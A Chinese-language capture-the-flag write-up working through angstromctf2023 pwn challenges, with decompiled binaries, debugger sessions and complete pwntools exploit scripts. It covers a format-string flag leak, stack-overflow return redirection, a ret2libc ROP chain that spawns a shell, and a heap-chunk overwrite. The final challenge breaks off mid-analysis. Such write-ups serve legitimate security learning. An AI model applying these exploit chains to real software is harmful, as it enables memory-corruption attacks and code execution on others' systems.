[原创]angstromctf2023 - pwn
2023-7-16 19:48:48 Author: bbs.pediy.com(查看原文) 阅读量:8 收藏

因为某原因,最近要看看ctf。

angstromctf2023早在4月就结束了。今天打开一看,诶,还能访问。那就下载下来做一做。

另外,搜到了一个youtube视频专门讲这个比赛的wp,下面的记录,以及pwn环境(docker)很多参考了这个视频。毕竟菜。

I just learned about stacks and queues in DSA!

1.1 运行

1

2

3

4

5

make checksec

docker run -it --rm -v "`pwd`:/chal" ubuntu-demo checksec --file=queue

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILE

Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   46) Symbols   No    0       2       queue

1.2 反编译

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

int __cdecl main(int argc, const char **argv, const char **envp)

{

  __gid_t rgid; // [rsp+4h] [rbp-CCh]

  FILE *stream; // [rsp+8h] [rbp-C8h]

  char format[48]; // [rsp+10h] [rbp-C0h] BYREF

  char s[136]; // [rsp+40h] [rbp-90h] BYREF

  unsigned __int64 v9; // [rsp+C8h] [rbp-8h]

  v9 = __readfsqword(0x28u);

  setbuf(_bss_start, 0LL);

  rgid = getegid();

  setresgid(rgid, rgid, rgid);

  stream = fopen("flag.txt", "r");              // 打开flag.txt

  if ( !stream )

  {

    puts("Error: missing flag.txt.");           // 检查flag.txt是否存在

    exit(1);

  }

  fgets(s, 128, stream);                        // 从flag.txt读取内容,存在s里

  printf("What did you learn in class today? ");

  fgets(format, 48, stdin);                     // 从stdin读取内容,存在format

  printf("Oh nice, ");

  printf(format);                               // 明显的格式化字符串漏洞

  printf("sounds pretty cool!");

  return v9 - __readfsqword(0x28u);

}

1.3 调试

太久没做pwn题了,来看一眼。

调试的时候输入:AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

pwndbg>

0x00005604ada7735b in main ()

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────────────────

*RAX  0x0

 RBX  0x0

 RCX  0x7f2d801efa37 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */

 RDX  0x0

 RDI  0x7fff78b48960 ◂— 'AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'

 RSI  0x7fff78b46830 ◂— 'Oh nice, you learn in class today? '

 R8   0x9

 R9   0x5604aec8d490 ◂— 'AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\n'

 R10  0x5604ada78054 ◂— 'Oh nice, '

 R11  0x246

 R12  0x7fff78b48b38 —▸ 0x7fff78b4a8dd ◂— '/chal/queue'

 R13  0x5604ada77249 (main) ◂— endbr64

 R14  0x5604ada79d80 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5604ada77200 (__do_global_dtors_aux) ◂— endbr64

 R15  0x7f2d80344040 (_rtld_global) —▸ 0x7f2d803452e0 —▸ 0x5604ada76000 ◂— 0x10102464c457f

 RBP  0x7fff78b48a20 ◂— 0x1

 RSP  0x7fff78b48950 ◂— 0x0

*RIP  0x5604ada7735b (main+274) ◂— call 0x5604ada77110

─────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────────────────────────────

   0x5604ada77342 <main+249>    mov    eax, 0

   0x5604ada77347 <main+254>    call   printf@plt                <printf@plt>

   0x5604ada7734c <main+259>    lea    rax, [rbp - 0xc0]

   0x5604ada77353 <main+266>    mov    rdi, rax

   0x5604ada77356 <main+269>    mov    eax, 0

 ► 0x5604ada7735b <main+274>    call   printf@plt                <printf@plt>

        format: 0x7fff78b48960 ◂— 'AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'

        vararg: 0x7fff78b46830 ◂— 'Oh nice, you learn in class today? '

   0x5604ada77360 <main+279>    lea    rax, [rip + 0xcf7]

   0x5604ada77367 <main+286>    mov    rdi, rax

   0x5604ada7736a <main+289>    mov    eax, 0

   0x5604ada7736f <main+294>    call   printf@plt                <printf@plt>

   0x5604ada77374 <main+299>    nop

──────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────────

00:0000│ rsp 0x7fff78b48950 ◂— 0x0

01:0008│     0x7fff78b48958 —▸ 0x5604aec8c2a0 ◂— 0xfbad2488

02:0010│ rdi 0x7fff78b48960 ◂— 'AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'

03:0018│     0x7fff78b48968 ◂— '.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'

04:0020│     0x7fff78b48970 ◂— 'p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'

05:0028│     0x7fff78b48978 ◂— '%p.%p.%p.%p.%p.%p.%p.%p'

06:0030│     0x7fff78b48980 ◂— '.%p.%p.%p.%p.%p'

07:0038│     0x7fff78b48988 ◂— 0x70252e70252e70 /* 'p.%p.%p' */

────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────

 ► 0   0x5604ada7735b main+274

   1   0x7f2d80104d90 __libc_start_call_main+128

   2   0x7f2d80104e40 __libc_start_main+128

   3   0x5604ada77185 _start+37

──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

pwndbg> x/20gx $rsp

0x7fff78b48950: 0x0000000000000000  0x00005604aec8c2a0

0x7fff78b48960: 0x4141414141414141  0x252e70252e70252e

0x7fff78b48970: 0x2e70252e70252e70  0x70252e70252e7025

0x7fff78b48980: 0x252e70252e70252e  0x0070252e70252e70

0x7fff78b48990: 0x6161617b67616c66  0x000a7d6161616161

0x7fff78b489a0: 0x0000000000000000  0x0000000000000000

0x7fff78b489b0: 0x0000000000000000  0x0000000000000000

0x7fff78b489c0: 0x0000000000000000  0x0000000000000000

0x7fff78b489d0: 0x0000000000000000  0x0000000000000000

0x7fff78b489e0: 0x0000000000000000  0x0000000000000000

pwndbg> c

Continuing.

AAAAAAAA.0x7fff78b46830.(nil).0x7f2d801efa37.0x9.0x5604aec8d490.(nil).0x5604aec8c2a0.0x4141414141414141.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x70252e70252e70sounds pretty cool![Inferior 1 (process 51) exited normally]

看一下打印结果:

1

2

rdi     .rsi[1]        .rdx[2].rcx[3]       .r8[4].r9[5]  

AAAAAAAA.0x7fff78b46830.(nil).0x7f2d801efa37.0x9.0x5604aec8d490.(nil).0x5604aec8c2a0.0x4141414141414141.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x70252e70252e70

栈里数一下:

1

2

3

4

5

6

7

8

9

10

11

pwndbg> x/20gx $rsp

0x7fff78b48950: 0x0000000000000000  0x00005604aec8c2a0  [6.7]

0x7fff78b48960: 0x4141414141414141  0x252e70252e70252e  [8.9]

0x7fff78b48970: 0x2e70252e70252e70  0x70252e70252e7025  [10.11]

0x7fff78b48980: 0x252e70252e70252e  0x0070252e70252e70  [12.13]

0x7fff78b48990: 0x6161617b67616c66  0x000a7d6161616161  [14.15]

0x7fff78b489a0: 0x0000000000000000  0x0000000000000000

0x7fff78b489b0: 0x0000000000000000  0x0000000000000000

0x7fff78b489c0: 0x0000000000000000  0x0000000000000000

0x7fff78b489d0: 0x0000000000000000  0x0000000000000000

0x7fff78b489e0: 0x0000000000000000  0x0000000000000000

验证一下:

1.4 exp

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

from pwn import *

import warnings

warnings.filterwarnings(action='ignore', category=BytesWarning)

s       = lambda data               :p.send(data)

sa      = lambda delim,data         :p.sendafter(delim, data)

sl      = lambda data               :p.sendline(data)

sla     = lambda delim,data         :p.sendlineafter(delim, data)

r       = lambda num=4096           :p.recv(num)

ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)

ruf     = lambda delims, drop=False :p.recvuntil(delims, drop)

uu64    = lambda data               :u64(data.ljust(8,'\x00'))

leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

logsucc = lambda info               :log.success(info)

itr     = lambda                    :p.interactive()

context.log_level = 'DEBUG'

context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

flag = ""

for i in range(14,16):

    p = process("./queue")

    myformat = "%{j}$p".format(j=i)

    logsucc(myformat)

    sla(b'today? ', myformat.encode())

    ru(b'Oh nice, 0x')

    data = ru(b'\nsounds', drop=True)

    flag += bytes.fromhex(data.decode()).decode()[::-1]

    logsucc(flag)

    p.close()

logsucc(flag)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

[+] Starting local process './queue' argv=[b'./queue'] : pid 87

[+] %14$p

[DEBUG] Received 0x23 bytes:

    b'What did you learn in class today? '

[DEBUG] Sent 0x6 bytes:

    b'%14$p\n'

[DEBUG] Received 0x2f bytes:

    b'Oh nice, 0x6161617b67616c66\n'

    b'sounds pretty cool!'

[+] flag{aaa

[*] Process './queue' stopped with exit code 0 (pid 87)

[+] Starting local process './queue' argv=[b'./queue'] : pid 89

[+] %15$p

[DEBUG] Received 0x23 bytes:

    b'What did you learn in class today? '

[DEBUG] Sent 0x6 bytes:

    b'%15$p\n'

[DEBUG] Received 0x2f bytes:

    b'Oh nice, 0x7d61616161616161\n'

    b'sounds pretty cool!'

[+] flag{aaaaaaaaaa}

[*] Process './queue' stopped with exit code 0 (pid 89)

[+] flag{aaaaaaaaaa}

Multipart challenge!

Note all use essentially the same Dockerfile. The flags are split among all three challenges. If you are already a pwn expert, the last challenge has the entire flag.

2.1 运行

先看一眼Dockerfile,仍然需要flag.txt

FROM pwn.red/jail

COPY --from=ubuntu:20.04 / /srv
COPY gaga2 /srv/app/run
COPY flag.txt /srv/app/flag.txt
RUN chmod 755 /srv/app/run

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

Dockerfile  Makefile  gaga0  gaga1  gaga2

Welcome to gaga!

This challenge is meant to guide you through an introduction to binary exploitation.

Right now, you are on stage0. Your goal is to redirect program control to win0, which is at address 0x401236.

Your input: aaa

Nice!

Now you need to call the win1 function with the correct arguments.

Your input: aaa

Awesome! Now there's no system(), so what will you do?!

Your input: aaa

[*] '/chal/gaga0'

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX enabled

    PIE:      No PIE (0x400000)

2.2 反编译&分析

gaga0

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

int __cdecl main(int argc, const char **argv, const char **envp)

{

  char v4[60];

  __gid_t rgid;

  setbuf(_bss_start, 0LL);

  rgid = getegid();

  setresgid(rgid, rgid, rgid);

  puts("Welcome to gaga!");

  puts("This challenge is meant to guide you through an introduction to binary exploitation.");

  printf(

    "\nRight now, you are on stage0. Your goal is to redirect program control to win0, which is at address %p.\n",

    win0);

  printf("Your input: ");

  return gets(v4);

}

根据打印提示,看看win0函数。如下,直接打印flag:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

int win0()

{

  char s[136];

  FILE *stream;

  stream = fopen("flag.txt", "r");

  if ( !stream )

  {

    puts("Error: missing flag.txt.");

    exit(1);

  }

  fgets(s, 128, stream);

  return puts(s);

}

那就简单了,Canary啥的都关了,最简单的ret2text。就不调试了,根据IDA的注释,偏移等于0x40+0x8=0x48,先用这个写exp,有问题再说。

exp

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

from pwn import *

import warnings

warnings.filterwarnings(action='ignore', category=BytesWarning)

s       = lambda data               :p.send(data)

sa      = lambda delim,data         :p.sendafter(delim, data)

sl      = lambda data               :p.sendline(data)

sla     = lambda delim,data         :p.sendlineafter(delim, data)

r       = lambda num=4096           :p.recv(num)

ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)

ruf     = lambda delims, drop=False :p.recvuntil(delims, drop)

uu64    = lambda data               :u64(data.ljust(8,'\x00'))

leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

logsucc = lambda info               :log.success(info)

itr     = lambda                    :p.interactive()

context.log_level = 'DEBUG'

context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

elf = ELF("./gaga0")

p = process("./gaga0")

logsucc(hex(elf.symbols['win0']))

payload = b'a'*0x48+ p64(elf.symbols['win0'])

sla("Your input: ", payload)

itr()

image-20230709021921835

gaga1

1

2

3

4

5

6

7

8

9

10

11

12

13

int __cdecl main(int argc, const char **argv, const char **envp)

{

  char v4[60];

  __gid_t rgid;

  setbuf(_bss_start, 0LL);

  rgid = getegid();

  setresgid(rgid, rgid, rgid);

  puts("Nice!");

  puts("Now you need to call the win1 function with the correct arguments.");

  printf("Your input: ");

  return gets(v4);

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

void __fastcall win1(int a1, int a2)

{

  char s[136];

  FILE *stream;

  if ( a1 == 4919 || a2 == 16705 )

  {

    stream = fopen("flag.txt", "r");

    if ( !stream )

    {

      puts("Error: missing flag.txt.");

      exit(1);

    }

    fgets(s, 128, stream);

    puts(s);

  }

}

和gaga0基本一样,只不过在外面加了个if(a1 == 4919 || a2 == 16705)。简单,直接把main的ret覆盖成if判断后的地址0x401269

.text:000000000040125D                 cmp     [rbp+var_98], 4141h
.text:0000000000401267                 jnz     short loc_4012C6
.text:0000000000401269
.text:0000000000401269 loc_401269:                             ; CODE XREF: win1+25↑j
.text:0000000000401269                 lea     rsi, modes      ; "r"
.text:0000000000401270                 lea     rdi, filename   ; "flag.txt"
.text:0000000000401277                 call    _fopen

exp修改如下:

1

2

3

4

5

6

7

p = process("./gaga1")

payload = b'a'*0x48 + p64(0x401269)

sla("Your input: ", payload)

itr()

然后执行后失败了,gdb调试,找到问题所在。如下图,前面覆盖ret的时候没关注rbp,直接覆盖成aaaaaaaa。而在这里会用到rbp,非法地址导致crash:

image-20230710212325216

解决办法就是将rbp覆盖成一个可读可写的地址。gdb调一下,在可读可写的地址里随便选一个,比如0x404100

1

2

3

4

5

6

7

8

9

10

pwndbg> vmmap

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

             Start                End Perm     Size Offset File

          0x400000           0x401000 r--p     1000      0 /chal/gaga1

          0x401000           0x402000 r-xp     1000   1000 /chal/gaga1

          0x402000           0x403000 r--p     1000   2000 /chal/gaga1

          0x403000           0x404000 r--p     1000   2000 /chal/gaga1

          0x404000           0x405000 rw-p     1000   3000 /chal/gaga1   <---这一行选个地址

    0x7fd81cbc9000     0x7fd81cbcc000 rw-p     3000      0 [anon_7fd81cbc9]

    0x7fd81cbcc000     0x7fd81cbf4000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6

最终的exp如下:

1

2

3

4

5

6

p = process("./gaga1")

payload = b'a'*0x40 + p64(0x404400) + p64(0x401269)

sla("Your input: ", payload)

itr()

image-20230710213345891

gaga2

1

2

3

4

5

6

7

8

9

10

11

12

int __cdecl main(int argc, const char **argv, const char **envp)

{

  char v4[60];

  __gid_t rgid;

  setbuf(_bss_start, 0LL);

  rgid = getegid();

  setresgid(rgid, rgid, rgid);

  puts("Awesome! Now there's no system(), so what will you do?!");

  printf("Your input: ");

  return gets(v4);

}

这次没有“后门函数”了,查看一下保护机制:

1

2

3

4

5

6

7

[*] '/chal/gaga2'

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX enabled

    PIE:      No PIE (0x400000)

关了PIE,开了NX,不能ret2shellcode,那就rop吧。以前一直用ROPGadget/one_gadget这些工具,这次试试pwntools里的rop模块。要说的都在注释里了,看代码吧:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

from pwn import *

import warnings

warnings.filterwarnings(action='ignore', category=BytesWarning)

s       = lambda data               :p.send(data)

sa      = lambda delim,data         :p.sendafter(delim, data)

sl      = lambda data               :p.sendline(data)

sla     = lambda delim,data         :p.sendlineafter(delim, data)

r       = lambda num=4096           :p.recv(num)

ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)

ruf     = lambda delims, drop=False :p.recvuntil(delims, drop)

rl      = lambda drop=True          :p.recvline(drop)

rlf     = lambda drop=False         :p.recvline(drop)

uu64    = lambda data               :u64(data.ljust(8,'\x00'))

leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

logsucc = lambda info               :log.success(info)

itr     = lambda                    :p.interactive()

context.clear(arch='amd64')

context.log_level = 'DEBUG'

context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

elf = ELF("./gaga2")

p = process("./gaga2")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

rop = ROP(elf)

rop.puts(elf.got["printf"])

rop.main()

print(rop.dump())

payload = b'a'*0x48 + rop.chain()

sla("Your input: ", payload)

printf_addr = u64(rlf().ljust(8, b"\x00"))

leak("printf addr", printf_addr)

libc_addr = printf_addr - libc.symbols["printf"]

libc.address = libc_addr

leak("libc addr", libc.address)

rop2 = ROP(libc)

rop2.raw(rop2.find_gadget(["ret"]))

rop2.system(next(libc.search(b"/bin/sh")))

print(rop2.dump())

payload2 = b'a'*0x48 + rop2.chain()

sla("Your input: ", payload2)

itr()

结果如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

[*] '/chal/gaga2'

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX enabled

    PIE:      No PIE (0x400000)

[+] Starting local process './gaga2' argv=[b'./gaga2'] : pid 394

[*] '/lib/x86_64-linux-gnu/libc.so.6'

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    Canary found

    NX:       NX enabled

    PIE:      PIE enabled

[*] Loaded 14 cached gadgets for './gaga2'

0x0000:         0x4012b3 pop rdi; ret

0x0008:         0x404030 [arg0] rdi = got.printf

0x0010:         0x401094 puts

0x0018:         0x4011d6 main()

[DEBUG] Received 0x44 bytes:

    b"Awesome! Now there's no system(), so what will you do?!\n"

    b'Your input: '

[DEBUG] Sent 0x69 bytes:

    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│

    *

    00000040  61 61 61 61  61 61 61 61  b3 12 40 00  00 00 00 00  │aaaa│aaaa│··@·│····│

    00000050  30 40 40 00  00 00 00 00  94 10 40 00  00 00 00 00  │[email protected]@·│····│··@·│····│

    00000060  d6 11 40 00  00 00 00 00  0a                        │··@·│····│·│

    00000069

[DEBUG] Received 0x4b bytes:

    00000000  70 e7 e7 9e  19 7f 0a 41  77 65 73 6f  6d 65 21 20  │p···│···A│weso│me! │

    00000010  4e 6f 77 20  74 68 65 72  65 27 73 20  6e 6f 20 73  │Now │ther│e's │no s│

    00000020  79 73 74 65  6d 28 29 2c  20 73 6f 20  77 68 61 74  │yste│m(),│ so │what│

    00000030  20 77 69 6c  6c 20 79 6f  75 20 64 6f  3f 21 0a 59  │ wil│l yo│u do│?!·Y│

    00000040  6f 75 72 20  69 6e 70 75  74 3a 20                  │our │inpu│t: │

    0000004b

[+] printf addr = 0x7f199ee7e770

[+] libc addr = 0x7f199ee1e000

[*] Loaded 218 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'

0x0000:   0x7f199ee47cd6 ret

0x0008:   0x7f199ee483e5 pop rdi; ret

0x0010:   0x7f199eff6698 [arg0] rdi = 139748018448024

0x0018:   0x7f199ee6ed60 system

[DEBUG] Sent 0x69 bytes:

    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│

    *

    00000040  61 61 61 61  61 61 61 61  d6 7c e4 9e  19 7f 00 00  │aaaa│aaaa│·|··│····│

    00000050  e5 83 e4 9e  19 7f 00 00  98 66 ff 9e  19 7f 00 00  │····│····│·f··│····│

    00000060  60 ed e6 9e  19 7f 00 00  0a                        │`···│····│·│

    00000069

[*] Switching to interactive mode

$ id

[DEBUG] Sent 0x3 bytes:

    b'id\n'

[DEBUG] Received 0x27 bytes:

    b'uid=0(root) gid=0(root) groups=0(root)\n'

uid=0(root) gid=0(root) groups=0(root)

$ cat flag.txt

[DEBUG] Sent 0xd bytes:

    b'cat flag.txt\n'

[DEBUG] Received 0x11 bytes:

    b'flag{aaaaaaaaaa}\n'

flag{aaaaaaaaaa}

$

2.3 调试

以前都是在虚拟机里做题,如果调试,直接gdb.attach(p)就ok了。现在在docker里调试,步骤如下:

1、进入tmux

2、python脚本:context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

3、python脚本:gdb.attach(p)

4、执行python脚本

pwnlib.gdb.attach(target, gdbscript='', exe=None, gdb_args=None, ssh=None, sysroot=None, api=False)

pwnlib.gdb.attach - API介绍

计算栈中变量距离ret可用两个API:cyclic(num)cyclic_find(string)

最终还是调了一下gaga0

1

sla("Your input: ", cyclic(0x100))

可以看到main函数的返回地址被覆盖成了0x6161617461616173,对应的字符是:saaataaa

1

2

offset = cyclic_find("saaa")

logsucc(hex(offset))

打印结果看到是0x48

Dockerfile如下:

FROM pwn.red/jail

COPY --from=ubuntu:22.04 / /srv
COPY leek /srv/app/run
COPY flag.txt /srv/app/flag.txt
RUN chmod 755 /srv/app/run

该程序运行在Ubuntu22环境中,同时又有flag.txt。

3.1 运行

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

I dare you to leek my secret.

Your input (NO STACK BUFFER OVERFLOWS!!): hello

:skull::skull::skull: bro really said: hello

So? What's my secret? aaa

Wrong!

[*] '/chal/leek'

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    Canary found

    NX:       NX enabled

    PIE:      No PIE (0x400000)

开启了Canary和NX,PIE是关闭的。

3.2 反编译

简单扫几眼main函数,最后调用win函数,点进去一看,功能是打印flag:)。所以大概就是让想办法使程序能走到最后。首先找前面有没有程序结束点,其他看注释吧。

  • main

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

int __cdecl main(int argc, const char **argv, const char **envp)

{

  unsigned int v3;

  int i;

  int j;

  __gid_t rgid;

  char *v9;

  void *s;

  char s2[40];

  unsigned __int64 v12;

  v12 = __readfsqword(0x28u);

  v3 = time(0LL);

  srand(v3);

  setbuf(stdout, 0LL);

  setbuf(stdin, 0LL);

  rgid = getegid();

  setresgid(rgid, rgid, rgid);

  puts("I dare you to leek my secret.");

  for ( i = 0; i < N; ++i )                    

  {

    v9 = (char *)malloc(0x10uLL);

    s = malloc(0x20uLL);                       

    memset(s, 0, 0x20uLL);

    getrandom(s, 32LL, 0LL);                   

    for ( j = 0; j <= 31; ++j )

    {

      if ( !*((_BYTE *)s + j) || *((_BYTE *)s + j) == 10 )

        *((_BYTE *)s + j) = 1;

    }

    printf("Your input (NO STACK BUFFER OVERFLOWS!!): ");

    input(v9);                                 

    printf(":skull::skull::skull: bro really said: ");

    puts(v9);                                  

    printf("So? What's my secret? ");

    fgets(s2, 33, stdin);                      

    if ( strncmp((const char *)s, s2, 0x20uLL) )

    {

      puts("Wrong!");                          

      exit(-1);

    }

    puts("Okay, I'll give you a reward for guessing it.");

    printf("Say what you want: ");

    gets(v9);                                  

    puts("Hmm... I changed my mind.");

    free(s);

    free(v9);

    puts("Next round!");

  }

  puts("Looks like you made it through.");

  win();

  return v12 - __readfsqword(0x28u);

}

  • input

1

2

3

4

5

6

7

8

9

10

11

12

unsigned __int64 __fastcall input(void *input_buffer1)

{

  size_t v1;

  char s[1288];

  unsigned __int64 v4;

  v4 = __readfsqword(0x28u);

  fgets(s, 1280, stdin);                       

  v1 = strlen(s);

  memcpy(input_buffer1, s, v1);                

  return v4 - __readfsqword(0x28u);

}

  • win

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

unsigned __int64 win()

{

  FILE *stream;

  char s[136];

  unsigned __int64 v3;

  v3 = __readfsqword(0x28u);

  stream = fopen("flag.txt", "r");

  if ( !stream )

  {

    puts("Error: missing flag.txt.");

    exit(1);

  }

  fgets(s, 128, stream);

  puts(s);

  return v3 - __readfsqword(0x28u);

}

看完代码,思路就清晰了:s和v9都指向堆块,两chunk连续,且v9在s上方(地址更低)。很明显,绕过if判断有两种方法:1)利用溢出修改chunk s,然后输入s2的时候溢出的内容;2)利用溢出泄露chunk s的内容,然后输入s2的时候输入泄露的内容。

if判断之后还有一次输入,这次输入能随意?不行,需要利用这次输入修复chunk s的size,不然执行到free的时候你就会发现,ptmalloc2会检查chunk的size:打印double free or corruption (out),并导致程序退出。注意循环100次。

3.3 exp

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

from pwn import *

import warnings

warnings.filterwarnings(action='ignore', category=BytesWarning)

s       = lambda data               :p.send(data)

sa      = lambda delim,data         :p.sendafter(delim, data)

sl      = lambda data               :p.sendline(data)

sla     = lambda delim,data         :p.sendlineafter(delim, data)

r       = lambda num=4096           :p.recv(num)

ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)

ruf     = lambda delims, drop=False :p.recvuntil(delims, drop)

rl      = lambda drop=True          :p.recvline(drop)

rlf     = lambda drop=False         :p.recvline(drop)

uu64    = lambda data               :u64(data.ljust(8,'\x00'))

leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

logsucc = lambda info               :log.success(info)

itr     = lambda                    :p.interactive()

context.clear(arch='amd64')

context.log_level = 'DEBUG'

context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

def dbg():

    gdb.attach(p)

elf = ELF("./leek")

p = process("./leek")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

for i in range(100):

    payload = b'a'*(0x20) + b'z'*0x20

    sla("): ", payload)

    sa("secret? ", b'z'*0x20)

    sla("want: ",b'a'*0x18 + p64(0x31))

itr()

image-20230712015632607

I seem to have lost my gadgets.

4.1 运行

关闭了Canary(栈溢出覆盖ret简单多了)和PIE(不用泄露地址了),开启了NX。

1

2

3

4

5

6

7

8

9

10

11

12

Amount: 12

Contents: 2344

Your input: 2344

[*] '/chal/widget'

    Arch:     amd64-64-little

    RELRO:    Full RELRO

    Stack:    No canary found

    NX:       NX enabled

    PIE:      No PIE (0x400000)

4.2 反编译

函数列表里又有win函数。

  • main

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

int __cdecl main(int argc, const char **argv, const char **envp)

{

  int amount;

  char buf[24];

  __gid_t rgid;

  unsigned int i;

  setbuf(_bss_start, 0LL);

  setbuf(stdin, 0LL);

  rgid = getegid();

  setresgid(rgid, rgid, rgid);

  if ( called )

    exit(1);

  called = 1;                                  

  printf("Amount: ");

  amount = 0;

  __isoc99_scanf("%d", &amount);               

  getchar();

  if ( amount < 0 )                            

    exit(1);

  printf("Contents: ");

  read(0, buf, amount);                        

  for ( i = 0; (int)i < amount; ++i )

  {

    if ( buf[i] == 'n' )                       

    {

      printf("bad %d\n", i);

      exit(1);

    }

  }

  printf("Your input: ");

  return printf(buf);                          

}

  • win

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

int __fastcall win(const char *a1, const char *a2)

{

  char s[136];

  FILE *stream;

  if ( strncmp(a1, "14571414c5d9fe9ed0698ef21065d8a6", 0x20uLL) )

    exit(1);

  if ( strncmp(a2, "willy_wonka_widget_factory", 0x1AuLL) )

    exit(1);

  stream = fopen("flag.txt", "r");             

  if ( !stream )

  {

    puts("Error: missing flag.txt.");

    exit(1);

  }

  fgets(s, 128, stream);

  return puts(s);

}

理一理思路:

1、利用栈溢出覆盖main函数的ret为win函数中开始读flag.txt的地方。

2、看看读flag.txt的地方会不会使用到rbp,如下面的代码,是会的。

.text:000000000040130B loc_40130B:                             ; CODE XREF: win+69↑j
.text:000000000040130B                 lea     rax, modes      ; "r"
.text:0000000000401312                 mov     rsi, rax        ; modes
.text:0000000000401315                 lea     rax, filename   ; "flag.txt"
.text:000000000040131C                 mov     rdi, rax        ; filename
.text:000000000040131F                 call    _fopen
.text:0000000000401324                 mov     [rbp+stream], rax
.text:0000000000401328                 cmp     [rbp+stream], 0

找个可读可写的地址:

1

2

3

4

5

pwndbg> vmmap

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

             Start                End Perm     Size Offset File

......

